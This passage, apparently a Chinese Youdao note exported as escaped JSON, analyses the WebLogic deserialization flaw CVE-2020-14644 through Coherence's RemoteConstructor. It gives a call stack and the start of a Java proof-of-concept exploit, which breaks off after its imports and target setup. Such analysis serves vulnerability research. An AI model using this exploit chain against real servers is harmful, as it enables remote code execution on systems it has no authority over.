55942894&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;50Ju-1682255942893&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3lmd-1682255942896&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xTSp-1682255942895&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;常规的IIOP调用流程，通过反射调用到com.tangosol.internal.util.invoke.RemoteConstructor的readResolve方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R9K5-1682255943122&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6654/WEBRESOURCE0c823caf655858c905585d4b0aff6ad4&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6654/WEBRESOURCE0c823caf655858c905585d4b0aff6ad4&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eXhc-1682255942899&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cv94-1682255942898&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;com.tangosol.internal.util.invoke.RemoteConstructor.readResolve()-&gt;newInstance()-&gt;realize()&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;417f-1682255942901&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9awn-1682255942900&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;其中registerIfAbsent会根据Id检查是否有已经缓存过的ClassDefinition对象，若存在则不会重新进行defineClass操作：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ri2j-1682255943123&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6655/WEBRESOURCE6c0fc58fb43181bcd02d14eae1486125&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6655/WEBRESOURCE6c0fc58fb43181bcd02d14eae1486125&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z6Ly-1682255942904&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q3lh-1682255942903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;接下来就是上文中分析过的defineClass与createInstance流程：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eDMt-1682255943124&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6656/WEBRESOURCEa47aafb46befa817337b527f48fae8e6&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6656/WEBRESOURCEa47aafb46befa817337b527f48fae8e6&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EEcw-1682255942907&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YvJb-1682255942906&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用栈：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s2Kj-1682255942966&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nNAJ-1682255942909&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nkZt-1682255942908&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;realize:142, RemotableSupport (com.tangosol.internal.util.invoke)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Itwf-1682255942911&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Hxu-1682255942910&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b19n-1682255942913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CB3B-1682255942912&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lnde-1682255942915&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;86Wh-1682255942914&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeVirtual_L_L:-1, 479734028 (java.lang.invoke.LambdaForm$DMH)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ogPY-1682255942917&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A2U9-1682255942916&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;reinvoke:-1, 1608812768 (java.lang.invoke.LambdaForm$BMH)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p2AB-1682255942919&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0jhr-1682255942918&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke_MT:-1, 223025988 (java.lang.invoke.LambdaForm$MH)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uoRi-1682255942921&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zEt2-1682255942920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readResolve:202, ObjectStreamClass (weblogic.utils.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IwAB-1682255942923&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JjUJ-1682255942922&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValue:88, ValueHandlerImpl (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PX5w-1682255942925&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z97R-1682255942924&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:1388, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6xrm-1682255942927&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gJjB-1682255942926&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:1247, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tPai-1682255942929&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dbsP-1682255942928&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value_internal:230, AnyImpl (weblogic.corba.idl)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3JwS-1682255942931&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jB8A-1682255942930&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:125, AnyImpl (weblogic.corba.idl)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0lBb-1682255942933&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;he6A-1682255942932&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_any:1000, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kUVc-1682255942935&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VaQA-1682255942934&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_any:992, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nhy8-1682255942937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WzKR-1682255942936&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;_invoke:87, _NamingContextAnyImplBase (weblogic.corba.cos.naming)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kB0k-1682255942939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dOG9-1682255942938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:249, CorbaServerRef (weblogic.corba.idl)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nzyd-1682255942941&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;04AM-1682255942940&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:246, ClusterableServerRef (weblogic.rmi.cluster)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zEEO-1682255942943&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oxGB-1682255942942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:534, BasicServerRef$2 (weblogic.rmi.internal)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6NAh-1682255942945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K5JE-1682255942944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;doAs:386, AuthenticatedSubject (weblogic.security.acl.internal)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qspy-1682255942947&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VefJ-1682255942946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;runAs:163, SecurityManager (weblogic.security.service)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BrFy-1682255942949&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wu5W-1682255942948&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;handleRequest:531, BasicServerRef (weblogic.rmi.internal)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yrxf-1682255942951&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gFrc-1682255942950&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:138, WLSExecuteRequest (weblogic.rmi.internal.wls)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WvU0-1682255942953&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dDlb-1682255942952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;_runAs:352, ComponentInvocationContextManager (weblogic.invocation)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XMFY-1682255942955&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iq74-1682255942954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;runAs:337, ComponentInvocationContextManager (weblogic.invocation)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9wFa-1682255942957&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Ei5-1682255942956&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;doRunWorkUnderContext:57, LivePartitionUtility (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ck3E-1682255942959&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WDPc-1682255942958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;runWorkUnderContext:41, PartitionUtility (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tAIw-1682255942961&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rzdi-1682255942960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;runWorkUnderContext:655, SelfTuningWorkManagerImpl (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;csqM-1682255942963&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U6NT-1682255942962&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:420, ExecuteThread (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mGyy-1682255942965&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VvTx-1682255942964&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:360, ExecuteThread (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;csharp&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;esqq-1682255942968&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kbRC-1682255942967&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s5Ho-1682255942970&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3ySf-1682255942969&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;POC如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1aSV-1682255943085&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M1GO-1682255942973&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6NGR-1682255942972&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.internal.util.invoke.ClassDefinition;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y8Ew-1682255942975&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yTe0-1682255942974&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.internal.util.invoke.ClassIdentity;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8Bro-1682255942977&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VvlT-1682255942976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.internal.util.invoke.RemoteConstructor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WSWc-1682255942979&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ARUC-1682255942978&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javassist.CannotCompileException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9PET-1682255942981&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wx4Z-1682255942980&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javassist.ClassPool;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hhn7-1682255942983&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jDiA-1682255942982&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javassist.CtClass;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1EDK-1682255942985&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HOCf-1682255942984&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javassist.NotFoundException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0dFz-1682255942987&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rsS9-1682255942986&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.EvilObj;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zigN-1682255942989&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4fd1-1682255942988&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rowP-1682255942991&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X3Mx-1682255942990&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.naming.Context;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Agce-1682255942993&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VBSt-1682255942992&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.naming.InitialContext;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dsj1-1682255942995&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f78Y-1682255942994&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.naming.NamingException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ij9q-1682255942997&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LvGB-1682255942996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.IOException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hdyK-1682255942999&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SLcX-1682255942998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Hashtable;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I99Y-1682255943001&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fz1B-1682255943000&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rZRb-1682255943003&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X5ch-1682255943002&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2020_14644 {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ex4j-1682255943005&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vBnk-1682255943004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws IOException, CannotCompileException, NamingException, NotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SQYM-1682255943007&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pCAH-1682255943006&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0oOd-1682255943009&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oBYv-1682255943008&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String ip = \&#34;127.0.0.1\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QipC-1682255943011&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EZTb-1682255943010&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String port = \&#34;7001\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IBH3-1682255943013&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2QNm-1682255943012&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String rhost = String.format(\&#34;iiop://%s:%s\&#34;, ip, port);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mtg9-1682255943015&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BfA3-1682255943014&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q7p2-1682255943017&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L9u2-1682255943016&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Hashtable&lt;String, String&gt; env = new Hashtable&lt;String, String&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9yJE-1682255943019&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oyw0-1682255943018&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // add wlsserver/server/lib/weblogic.jar to classpath,else will 